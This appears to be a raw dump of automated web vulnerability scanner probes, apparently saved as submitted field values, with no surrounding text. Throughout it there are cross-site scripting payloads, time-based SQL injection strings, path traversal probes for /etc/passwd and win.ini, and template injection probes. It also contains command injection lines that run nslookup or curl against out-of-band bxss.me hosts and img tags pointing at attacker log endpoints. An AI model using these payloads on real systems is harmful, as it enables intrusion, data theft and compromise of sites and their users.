555<ScRiPt >5Mb2(9574)</ScRiPt>

5559857820

555<aApzU8n x=9177>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9539></ScRiPt>

bfg3260\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl3260

555<ifRAme sRc=9741.com></IfRamE>

555<img sRc='http://attacker-9697/log.php?

555<ScRiPt >5Mb2(9193)</ScRiPt>

bfgx8994\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8994

555<az9Jkhu x=9471>

555<aibZiPt<

<%={{={@{#{${dfb}}%>

555<svg  \xa0onload=5Mb2(9112)

555<img sRc='http://attacker-9336/log.php?

555

555'"()&%<zzz><ScRiPt >L6Ew(9139)</ScRiPt>

1qazptlO

555<isindex type=image src=1 onerror=5Mb2(9637)>

555

555

response.write(9320623*9210293)

'"()&%<zzz><ScRiPt >L6Ew(9683)</ScRiPt>

555<aczjlhi<

555

<th:t="${dfb}#foreach

5559652267

555RL4ts8d2

'+response.write(9320623*9210293)+'

555<iframe src='data:text/html

echo gitqkf$()\ wvqiny\nz^xyu||a #' &echo gitqkf$()\ wvqiny\nz^xyu||a #|" &echo gitqkf$()\ wvqiny\nz^xyu||a #

&echo sxmmiw$()\ mqvflt\nz^xyu||a #' &echo sxmmiw$()\ mqvflt\nz^xyu||a #|" &echo sxmmiw$()\ mqvflt\nz^xyu||a #

555

"+response.write(9320623*9210293)+"

555

555&echo aieceb$()\ lefzkt\nz^xyu||a #' &echo aieceb$()\ lefzkt\nz^xyu||a #|" &echo aieceb$()\ lefzkt\nz^xyu||a #

bfg3400\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl3400

|echo eucroo$()\ awdnaz\nz^xyu||a #' |echo eucroo$()\ awdnaz\nz^xyu||a #|" |echo eucroo$()\ awdnaz\nz^xyu||a #

555|echo cbjvva$()\ dylakt\nz^xyu||a #' |echo cbjvva$()\ dylakt\nz^xyu||a #|" |echo cbjvva$()\ dylakt\nz^xyu||a #

555

-1 OR 2+882-882-1=0+0+0+1 --

(nslookup -q=cname hitcczmonacsc43f5b.bxss.me||curl hitcczmonacsc43f5b.bxss.me))

555<body onload=5Mb2(9846)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

E5QyD3tn

bfgx10671\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10671

555<img src=//xss.bxss.me/t/dot.gif onload=5Mb2(9294)>

555

-1 OR 2+72-72-1=0+0+0+1

nHPfbFth: G8L5C2Q2

$(nslookup -q=cname hitweubsqltfo103e3.bxss.me||curl hitweubsqltfo103e3.bxss.me)

555

555<img src=xyz OnErRor=5Mb2(9916)>

555

555

-1' OR 2+821-821-1=0+0+0+1 --

&nslookup -q=cname hitqjgurlkqqs0f09c.bxss.me&'\"`0&nslookup -q=cname hitqjgurlkqqs0f09c.bxss.me&`'

-1' OR 2+431-431-1=0+0+0+1 or 'PEdxo0h1'='

555

-1" OR 2+190-190-1=0+0+0+1 --

555<img/src=">" onerror=alert(9726)>

<%={{={@{#{${dfb}}%>

../../../../../../../../../../../../../../etc/passwd

555*if(now()=sysdate(),sleep(15),0)

&(nslookup -q=cname hitsuugtclimc158f0.bxss.me||curl hitsuugtclimc158f0.bxss.me)&'\"`0&(nslookup -q=cname hitsuugtclimc158f0.bxss.me||curl hitsuugtclimc158f0.bxss.me)&`'

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

dfb{{98991*97996}}xca

555

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

12345'"\'\")

../../../../../../../../../../../../../../windows/win.ini

555<esi:include src="http://bxss.me/rpb.png"/>

555-1

|(nslookup -q=cname hitxdqwgbymts503f7.bxss.me||curl hitxdqwgbymts503f7.bxss.me)

%35%35%35%3C%53%63%52%69%50%74%20%3E%35%4D%62%32%289624%29%3C%2F%73%43%72%69%70%54%3E

file:///etc/passwd

`(nslookup -q=cname hitapznkftyboa04cb.bxss.me||curl hitapznkftyboa04cb.bxss.me)`

555

<th:t="${dfb}#foreach

555-1)

555

${9999402+10000133}

../555

555

dfb[[${98991*97996}]]xca

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

|(nslookup${IFS}-q${IFS}cname${IFS}hitbpkitswhdn4c5f9.bxss.me||curl${IFS}hitbpkitswhdn4c5f9.bxss.me)

555-1 waitfor delay '0:0:15' --

&(nslookup${IFS}-q${IFS}cname${IFS}hitgfjxhrdnju8b929.bxss.me||curl${IFS}hitgfjxhrdnju8b929.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitgfjxhrdnju8b929.bxss.me||curl${IFS}hitgfjxhrdnju8b929.bxss.me)&`'

555\u003CScRiPt\5Mb2(9522)\u003C/sCripT\u003E

555QNOp8PzS'

555

555

555

555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

555

555-1 OR 300=(SELECT 300 FROM PG_SLEEP(15))--

555

555

555&lt

555

dfb__${98991*97996}__::.x

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

Http://bxss.me/t/fit.txt

555

555

555-1) OR 142=(SELECT 142 FROM PG_SLEEP(15))--

555

555-1)) OR 596=(SELECT 596 FROM PG_SLEEP(15))--

http://bxss.me/t/fit.txt?.jpg

555

555

555

\xf6<img zzz onmouseover=5Mb2(90731) //\xf6>

555cQg70J8x' OR 623=(SELECT 623 FROM PG_SLEEP(15))--

555&n918264=v936250

555

555VYTetU06') OR 912=(SELECT 912 FROM PG_SLEEP(15))--

/etc/shells

555

555

555

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555xgulab01')) OR 34=(SELECT 34 FROM PG_SLEEP(15))--

)

../../../../../../../../../../../../../../etc/shells

555

!(()&&!|*|*|

555

c:/windows/win.ini

^(#$!@#$)(()))******

555<input autofocus onfocus=5Mb2(9323)>

dfb{{98991*97996}}xca

555<ScRiPt >Ia4Y(9180)</ScRiPt>

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

bxss.me

555

555

555

555

555'"

555

dfb[[${98991*97996}]]xca

555

555

<a HrEF=http://xss.bxss.me></a>

555

555

555\xc0\xa7\xc0\xa2%2527%2522\'\"

555<WIGETB>XBD7B[!+!]</WIGETB>

555

'"()

555

'.gethostbyname(lc('hitqz'.'scykliiu38344.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(83).chr(113).chr(77).'

@@JVMxB

555

555<script>Ia4Y(9795)</script>

555

555'&&sleep(27*1000)*mvxlka&&'

555

dfb__${98991*97996}__::.x

<a HrEF=jaVaScRiPT:>

".gethostbyname(lc("hitsr"."kfsmynued74c7.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(69).chr(99).chr(68)."

555

555

555

555

555"&&sleep(27*1000)*grindl&&"

gethostbyname(lc('hituf'.'ztqjwqyueb834.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(75).chr(111).chr(66)

555<script>Ia4Y(9219)</script>9219

555}body{zzz:Expre/**/SSion(5Mb2(9989))}

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

'

555

555'||sleep(27*1000)*owogck||'

"

555

555

${@print(md5(31337))}

HttP://bxss.me/t/xss.html?%00

555S8CP9 <ScRiPt >5Mb2(9604)</ScRiPt>

555"||sleep(27*1000)*jvdsof||"

555

555<ScR<ScRiPt>IpT>Ia4Y(9039)</sCr<ScRiPt>IpT>

${@print(md5(31337))}\

555

bxss.me/t/xss.html?%00

'.print(md5(31337)).'

555<ScRiPt >L6Ew(9488)</ScRiPt>

555

555

555

555

"+"A".concat(70-3).concat(22*4).concat(98).concat(87).concat(103).concat(70)+(require"socket" Socket.gethostbyname("hitdm"+"pqmoxpwc9592a.bxss.me.")[3].to_s)+"

555

555

555

555<ScRiPt >Ia4Y(9475)</ScRiPt>

555<WVGNXM>Q5G7B[!+!]</WVGNXM>

555<WFYJZM>JGNCL[!+!]</WFYJZM>

555

'+'A'.concat(70-3).concat(22*4).concat(105).concat(84).concat(103).concat(68)+(require'socket' Socket.gethostbyname('hithn'+'erfnaiip47bc6.bxss.me.')[3].to_s)+'

555

555

555

'A'.concat(70-3).concat(22*4).concat(101).concat(65).concat(104).concat(90)+(require'socket' Socket.gethostbyname('hitkv'+'lvqkzbje3c5ab.bxss.me.')[3].to_s)

555

555

555<script>L6Ew(9799)</script>

555

555

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9514></ScRiPt>

555

comments

555

555

555<ifRAme sRc=9194.com></IfRamE>

555

555<script>L6Ew(9641)</script>9641

555

555<ScRiPt >Ia4Y(9031)</ScRiPt>

555

comments

555

555

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

555

comments/.

555

555

555

555

555<svg  \xa0onload=Ia4Y(9440)

'"

555<ScR<ScRiPt>IpT>L6Ew(9545)</sCr<ScRiPt>IpT>

555

555<acZ99eY x=9849>

<!--

555

xfs.bxss.me

555

555<ScRiPt >L6Ew(9951)</ScRiPt>

555'"()&%<zzz><ScRiPt >STmR(9183)</ScRiPt>

555

555

'"()&%<zzz><ScRiPt >STmR(9225)</ScRiPt>

555

555

555

555<isindex type=image src=1 onerror=Ia4Y(9035)>

555<img sRc='http://attacker-9510/log.php?

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9660></ScRiPt>

5559699592

555

555

555<ScRiPt >L6Ew(9222)</ScRiPt>

555

555

555<iframe src='data:text/html

555<acsDWiL<

555

555

555<svg  \xa0onload=L6Ew(9451)

555

555<body onload=Ia4Y(9283)>

555

555<img src=//xss.bxss.me/t/dot.gif onload=Ia4Y(9175)>

555

555

555<isindex type=image src=1 onerror=L6Ew(9906)>

555<img src=xyz OnErRor=Ia4Y(9513)>

555<iframe src='data:text/html

555

555

555<body onload=L6Ew(9228)>

555<img/src=">" onerror=alert(9632)>

555<img src=//xss.bxss.me/t/dot.gif onload=L6Ew(9635)>

555<img src=xyz OnErRor=L6Ew(9905)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%49%61%34%59%289227%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\Ia4Y(9000)\u003C/sCripT\u003E

555<img/src=">" onerror=alert(9596)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%4C%36%45%77%289015%29%3C%2F%73%43%72%69%70%54%3E

555&lt

555'"()&%<zzz><ScRiPt >YIkx(9965)</ScRiPt>

\xf6<img zzz onmouseover=Ia4Y(95301) //\xf6>

555'"()&%<zzz><ScRiPt >dyqP(9912)</ScRiPt>

555\u003CScRiPt\L6Ew(9456)\u003C/sCripT\u003E

555<input autofocus onfocus=Ia4Y(9881)>

'"()&%<zzz><ScRiPt >dyqP(9147)</ScRiPt>

'"()&%<zzz><ScRiPt >YIkx(9226)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

555&lt

5559312987

5559698235

<a HrEF=jaVaScRiPT:>

bfg5386\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5386

\xf6<img zzz onmouseover=L6Ew(91461) //\xf6>

555}body{zzz:Expre/**/SSion(Ia4Y(9353))}

bfg2703\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2703

bfgx9756\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9756

bfgx1320\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1320

5556bIBs <ScRiPt >Ia4Y(9839)</ScRiPt>

555<input autofocus onfocus=L6Ew(9252)>

<%={{={@{#{${dfb}}%>

555<WBFCFG>DJWKE[!+!]</WBFCFG>

555

<%={{={@{#{${dfb}}%>

<a HrEF=http://xss.bxss.me></a>

<th:t="${dfb}#foreach

555<ifRAme sRc=9315.com></IfRamE>

555

<a HrEF=jaVaScRiPT:>

555<aDvlWhQ x=9903>

<th:t="${dfb}#foreach

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555}body{zzz:Expre/**/SSion(L6Ew(9434))}

555

555<img sRc='http://attacker-9289/log.php?

dfb{{98991*97996}}xca

555bNEaL <ScRiPt >L6Ew(9435)</ScRiPt>

dfb{{98991*97996}}xca

555<aaJkykb<

dfb[[${98991*97996}]]xca

dfb__${98991*97996}__::.x

555<W3ERZZ>BEVBC[!+!]</W3ERZZ>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb[[${98991*97996}]]xca

555<ifRAme sRc=9456.com></IfRamE>

555<ScRiPt >dyqP(9793)</ScRiPt>

dfb__${98991*97996}__::.x

555<WWON4B>1EYIQ[!+!]</WWON4B>

555<axzZroz x=9243>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555'"()&%<zzz><ScRiPt >CKnt(9951)</ScRiPt>

555'"()&%<zzz><ScRiPt >NNSM(9055)</ScRiPt>

555<img sRc='http://attacker-9950/log.php?

555<script>dyqP(9021)</script>

555<ScRiPt >YIkx(9838)</ScRiPt>

'"()&%<zzz><ScRiPt >CKnt(9751)</ScRiPt>

'"()&%<zzz><ScRiPt >NNSM(9787)</ScRiPt>

555<script>dyqP(9459)</script>9459

555<aOUHd4G<

555<WSCWVI>HMNNM[!+!]</WSCWVI>

5559990348

5559854680

555<ScR<ScRiPt>IpT>dyqP(9615)</sCr<ScRiPt>IpT>

555<script>YIkx(9954)</script>

bfg5957\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5957

555<script>YIkx(9560)</script>9560

bfg4792\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4792

bfgx5422\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5422

555<ScRiPt >dyqP(9556)</ScRiPt>

555'"()&%<zzz><ScRiPt >D9Kv(9931)</ScRiPt>

<%={{={@{#{${dfb}}%>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9579></ScRiPt>

555<ScR<ScRiPt>IpT>YIkx(9254)</sCr<ScRiPt>IpT>

555'"()&%<zzz><ScRiPt >SB1F(9841)</ScRiPt>

555

bfgx1374\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1374

'"()&%<zzz><ScRiPt >D9Kv(9113)</ScRiPt>

'"()&%<zzz><ScRiPt >SB1F(9393)</ScRiPt>

<th:t="${dfb}#foreach

<%={{={@{#{${dfb}}%>

555<ScRiPt >dyqP(9797)</ScRiPt>

5559818050

555<ScRiPt >YIkx(9196)</ScRiPt>

555<svg  \xa0onload=dyqP(9241)

555

5559356641

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9141></ScRiPt>

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

bfg8744\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8744

bfg9028\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9028

555<isindex type=image src=1 onerror=dyqP(9773)>

555<ScRiPt >YIkx(9950)</ScRiPt>

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

bfgx9865\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9865

555<iframe src='data:text/html

dfb[[${98991*97996}]]xca

555<svg  \xa0onload=YIkx(9481)

555<body onload=dyqP(9584)>

bfgx10689\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10689

dfb{{98991*97996}}xca

555<isindex type=image src=1 onerror=YIkx(9588)>

<%={{={@{#{${dfb}}%>

dfb__${98991*97996}__::.x

dfb{98991*97996}xca

555

555<img src=//xss.bxss.me/t/dot.gif onload=dyqP(9304)>

<%={{={@{#{${dfb}}%>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<iframe src='data:text/html

555<img src=xyz OnErRor=dyqP(9283)>

555

555<ScRiPt >CKnt(9844)</ScRiPt>

dfb${98991*97996}xca

555<body onload=YIkx(9329)>

<th:t="${dfb}#foreach

<th:t="${dfb}#foreach

555<img/src=">" onerror=alert(9065)>

dfb#{98991*97996}xca

555

555<img src=//xss.bxss.me/t/dot.gif onload=YIkx(9473)>

555<WWZQ1H>MHIJQ[!+!]</WWZQ1H>

dfb{#98991*97996}xca

555

%35%35%35%3C%53%63%52%69%50%74%20%3E%64%79%71%50%289286%29%3C%2F%73%43%72%69%70%54%3E

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<script>CKnt(9862)</script>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{@98991*97996}xca

555<img src=xyz OnErRor=YIkx(9486)>

555\u003CScRiPt\dyqP(9174)\u003C/sCripT\u003E

555<script>CKnt(9149)</script>9149

dfb{{=98991*97996}}xca

555

555<img/src=">" onerror=alert(9257)>

555<ScR<ScRiPt>IpT>CKnt(9930)</sCr<ScRiPt>IpT>

555

%35%35%35%3C%53%63%52%69%50%74%20%3E%59%49%6B%78%289994%29%3C%2F%73%43%72%69%70%54%3E

dfb{{98991*97996}}xca

555<ScRiPt >CKnt(9712)</ScRiPt>

555&lt

dfb@(98991*97996)xca

\xf6<img zzz onmouseover=dyqP(99981) //\xf6>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9933></ScRiPt>

555\u003CScRiPt\YIkx(9019)\u003C/sCripT\u003E

dfb<%=98991*97996%>xca

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

dfb#set($x=98991*97996)${x}xca

dfb__${98991*97996}__::.x

555&lt

dfb[[${98991*97996}]]xca

555<ScRiPt >CKnt(9688)</ScRiPt>

555<input autofocus onfocus=dyqP(9880)>

dfb__${98991*97996}__::.x

dfb{{"abc"|title}}xca

\xf6<img zzz onmouseover=YIkx(90481) //\xf6>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<svg  \xa0onload=CKnt(9127)

<a HrEF=http://xss.bxss.me></a>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

print("dfb" . 98991*97996 . "xca")

555<ScRiPt >D9Kv(9636)</ScRiPt>

555<input autofocus onfocus=YIkx(9575)>

555<ScRiPt >SB1F(9296)</ScRiPt>

555<isindex type=image src=1 onerror=CKnt(9734)>

<a HrEF=jaVaScRiPT:>

98991*97996*98991*97996

555<WGKAPB>YPDHB[!+!]</WGKAPB>

555}body{zzz:Expre/**/SSion(dyqP(9005))}

dfb{@math key=98991 method="multiply" operand=97996/}xca

<a HrEF=http://xss.bxss.me></a>

555rpQbW <ScRiPt >dyqP(9308)</ScRiPt>

555<WJXLGB>MHSRC[!+!]</WJXLGB>

dfb{{{this}}}xca

555<iframe src='data:text/html

<a HrEF=jaVaScRiPT:>

#{98991*97996*98991*97996}

555<script>D9Kv(9989)</script>

555}body{zzz:Expre/**/SSion(YIkx(9384))}

555<script>SB1F(9117)</script>

555<WFCV2X>RRDXN[!+!]</WFCV2X>

555<script>D9Kv(9573)</script>9573

555<script>SB1F(9817)</script>9817

555<body onload=CKnt(9845)>

dfb#{xca}=123

555ARgak <ScRiPt >YIkx(9324)</ScRiPt>

555<ScR<ScRiPt>IpT>D9Kv(9971)</sCr<ScRiPt>IpT>

555<ifRAme sRc=9165.com></IfRamE>

555<ScR<ScRiPt>IpT>SB1F(9888)</sCr<ScRiPt>IpT>

555<img src=//xss.bxss.me/t/dot.gif onload=CKnt(9744)>

dfb{{'abcd'.toUpperCase()}}xca

555<WHPBR6>IMEPY[!+!]</WHPBR6>

555<ScRiPt >SB1F(9292)</ScRiPt>

555<ScRiPt >D9Kv(9332)</ScRiPt>

555<aoWSqaf x=9934>

555<img src=xyz OnErRor=CKnt(9226)>

555<img sRc='http://attacker-9305/log.php?

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9202></ScRiPt>

555<img/src=">" onerror=alert(9513)>

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<ifRAme sRc=9305.com></IfRamE>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9713></ScRiPt>

dfb{{98991*97996}}xca

555<aKoBHUu x=9166>

555<ahvH6Ve<

555<ScRiPt >D9Kv(9381)</ScRiPt>

555<ScRiPt >SB1F(9128)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%43%4B%6E%74%289631%29%3C%2F%73%43%72%69%70%54%3E

555<svg  \xa0onload=SB1F(9765)

dfb[[${98991*97996}]]xca

555<img sRc='http://attacker-9203/log.php?

555<svg  \xa0onload=D9Kv(9354)

555\u003CScRiPt\CKnt(9541)\u003C/sCripT\u003E

555<isindex type=image src=1 onerror=SB1F(9105)>

555&lt

dfb__${98991*97996}__::.x

555<isindex type=image src=1 onerror=D9Kv(9182)>

555<iframe src='data:text/html

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<alfFgI8<

555<iframe src='data:text/html

\xf6<img zzz onmouseover=CKnt(97721) //\xf6>

555<body onload=D9Kv(9551)>

555<ScRiPt >NNSM(9854)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=D9Kv(9500)>

555<body onload=SB1F(9119)>

555<input autofocus onfocus=CKnt(9937)>

555<img src=xyz OnErRor=D9Kv(9321)>

555<WFRPCP>L84D1[!+!]</WFRPCP>

555<img/src=">" onerror=alert(9312)>

555<img src=//xss.bxss.me/t/dot.gif onload=SB1F(9033)>

<a HrEF=http://xss.bxss.me></a>

%35%35%35%3C%53%63%52%69%50%74%20%3E%44%39%4B%76%289743%29%3C%2F%73%43%72%69%70%54%3E

555<img src=xyz OnErRor=SB1F(9269)>

<a HrEF=jaVaScRiPT:>

555<script>NNSM(9307)</script>

555<img/src=">" onerror=alert(9421)>

555<script>NNSM(9419)</script>9419

555\u003CScRiPt\D9Kv(9943)\u003C/sCripT\u003E

555}body{zzz:Expre/**/SSion(CKnt(9774))}

555&lt

%35%35%35%3C%53%63%52%69%50%74%20%3E%53%42%31%46%289085%29%3C%2F%73%43%72%69%70%54%3E

555Rfc4P <ScRiPt >CKnt(9810)</ScRiPt>

555<ScR<ScRiPt>IpT>NNSM(9378)</sCr<ScRiPt>IpT>

555\u003CScRiPt\SB1F(9873)\u003C/sCripT\u003E

\xf6<img zzz onmouseover=D9Kv(99201) //\xf6>

555<WRRQVS>X3FNA[!+!]</WRRQVS>

555<ScRiPt >NNSM(9892)</ScRiPt>

555<input autofocus onfocus=D9Kv(9299)>

555<ifRAme sRc=9225.com></IfRamE>

555&lt

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9255></ScRiPt>

<a HrEF=http://xss.bxss.me></a>

\xf6<img zzz onmouseover=SB1F(92441) //\xf6>

555<ScRiPt >NNSM(9855)</ScRiPt>

555<aiH5AZm x=9795>

555<input autofocus onfocus=SB1F(9087)>

<a HrEF=jaVaScRiPT:>

555}body{zzz:Expre/**/SSion(D9Kv(9533))}

<a HrEF=http://xss.bxss.me></a>

555<svg  \xa0onload=NNSM(9385)

555<img sRc='http://attacker-9728/log.php?

555o8HcJ <ScRiPt >D9Kv(9073)</ScRiPt>

<a HrEF=jaVaScRiPT:>

555<a3M3BUE<

555<WFOSRH>NIOQM[!+!]</WFOSRH>

555}body{zzz:Expre/**/SSion(SB1F(9085))}

555<isindex type=image src=1 onerror=NNSM(9485)>

555<ifRAme sRc=9483.com></IfRamE>

555<iframe src='data:text/html

555opPeT <ScRiPt >SB1F(9899)</ScRiPt>

555<body onload=NNSM(9020)>

555<ajfd4Bw x=9296>

555<W2WVLI>HQZMJ[!+!]</W2WVLI>

555<img sRc='http://attacker-9634/log.php?

555<img src=//xss.bxss.me/t/dot.gif onload=NNSM(9681)>

555<img src=xyz OnErRor=NNSM(9605)>

555<ifRAme sRc=9410.com></IfRamE>

555<img/src=">" onerror=alert(9621)>

555<aKJzcaU<

555<aOm9Fgw x=9850>

%35%35%35%3C%53%63%52%69%50%74%20%3E%4E%4E%53%4D%289046%29%3C%2F%73%43%72%69%70%54%3E

555<img sRc='http://attacker-9558/log.php?

555\u003CScRiPt\NNSM(9220)\u003C/sCripT\u003E

555<av5BZq2<

555&lt

\xf6<img zzz onmouseover=NNSM(98731) //\xf6>

555'"()&%<zzz><ScRiPt >0fPF(9786)</ScRiPt>

555

555'"()&%<zzz><ScRiPt >uUmg(9516)</ScRiPt>

555<input autofocus onfocus=NNSM(9062)>

'"()&%<zzz><ScRiPt >0fPF(9754)</ScRiPt>

'"()&%<zzz><ScRiPt >uUmg(9712)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

5559613987

555

555

5559271596

<a HrEF=jaVaScRiPT:>

555tqkrVTqp

1DkyQkNASSO

response.write(9809231*9285969)

bfg1164\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1164

bfg4399\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4399

555}body{zzz:Expre/**/SSion(NNSM(9803))}

'+response.write(9809231*9285969)+'

555

555

bfgx8373\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8373

"+response.write(9809231*9285969)+"

-1 OR 2+695-695-1=0+0+0+1 --

bfgx1047\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1047

555

echo odngac$()\ tnkaaz\nz^xyu||a #' &echo odngac$()\ tnkaaz\nz^xyu||a #|" &echo odngac$()\ tnkaaz\nz^xyu||a #

555MgHvy <ScRiPt >NNSM(9340)</ScRiPt>

555

<%={{={@{#{${dfb}}%>

-1 OR 2+814-814-1=0+0+0+1

<%={{={@{#{${dfb}}%>

&echo mqmlke$()\ mdghlk\nz^xyu||a #' &echo mqmlke$()\ mdghlk\nz^xyu||a #|" &echo mqmlke$()\ mdghlk\nz^xyu||a #

555<W6PUEU>BGEJW[!+!]</W6PUEU>

555&echo hslnaa$()\ iiymak\nz^xyu||a #' &echo hslnaa$()\ iiymak\nz^xyu||a #|" &echo hslnaa$()\ iiymak\nz^xyu||a #

555

555

|echo bublom$()\ bwgthr\nz^xyu||a #' |echo bublom$()\ bwgthr\nz^xyu||a #|" |echo bublom$()\ bwgthr\nz^xyu||a #

-1' OR 2+772-772-1=0+0+0+1 --

555|echo zsrmje$()\ nyqwjb\nz^xyu||a #' |echo zsrmje$()\ nyqwjb\nz^xyu||a #|" |echo zsrmje$()\ nyqwjb\nz^xyu||a #

-1' OR 2+746-746-1=0+0+0+1 or 'WPi7Oh6M'='

(nslookup -q=cname hitqwrsvziuigdc0fd.bxss.me||curl hitqwrsvziuigdc0fd.bxss.me))

<th:t="${dfb}#foreach

-1" OR 2+60-60-1=0+0+0+1 --

RIN0eNf9

555*if(now()=sysdate(),sleep(15),0)

555<ifRAme sRc=9767.com></IfRamE>

<th:t="${dfb}#foreach

$(nslookup -q=cname hitglpweqswal01589.bxss.me||curl hitglpweqswal01589.bxss.me)

3Bm90nnq: KQeB0Xpl

555

555<adJSjdQ x=9546>

&nslookup -q=cname hitujjwfbelrid6f75.bxss.me&'\"`0&nslookup -q=cname hitujjwfbelrid6f75.bxss.me&`'

&(nslookup -q=cname hithrjzkozsvxc0a56.bxss.me||curl hithrjzkozsvxc0a56.bxss.me)&'\"`0&(nslookup -q=cname hithrjzkozsvxc0a56.bxss.me||curl hithrjzkozsvxc0a56.bxss.me)&`'

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

|(nslookup -q=cname hitnhgeqywqtn2ce15.bxss.me||curl hitnhgeqywqtn2ce15.bxss.me)

555

`(nslookup -q=cname hitjzayeyvsxyf7511.bxss.me||curl hitjzayeyvsxyf7511.bxss.me)`

555

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

555<img sRc='http://attacker-9586/log.php?

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555-1

555

555<akBYiv9<

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../windows/win.ini

555-1)

|(nslookup${IFS}-q${IFS}cname${IFS}hitqorfxxvlcx46750.bxss.me||curl${IFS}hitqorfxxvlcx46750.bxss.me)

file:///etc/passwd

&(nslookup${IFS}-q${IFS}cname${IFS}hitcpgtugxnnr0543f.bxss.me||curl${IFS}hitcpgtugxnnr0543f.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitcpgtugxnnr0543f.bxss.me||curl${IFS}hitcpgtugxnnr0543f.bxss.me)&`'

555

555

555-1 waitfor delay '0:0:15' --

12345'"\'\")

555XyRopn2w'

555

555

../555

555

dfb{{98991*97996}}xca

555-1 OR 618=(SELECT 618 FROM PG_SLEEP(15))--

555-1) OR 490=(SELECT 490 FROM PG_SLEEP(15))--

555

555-1)) OR 481=(SELECT 481 FROM PG_SLEEP(15))--

555

dfb{{98991*97996}}xca

555

555

555

555

555tF0ZgFvK' OR 333=(SELECT 333 FROM PG_SLEEP(15))--

dfb[[${98991*97996}]]xca

555YjGcbq2v') OR 370=(SELECT 370 FROM PG_SLEEP(15))--

555

555

555TnY5TB0N')) OR 802=(SELECT 802 FROM PG_SLEEP(15))--

dfb[[${98991*97996}]]xca

555

555

dfb__${98991*97996}__::.x

555

555

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

${10000116+10000427}

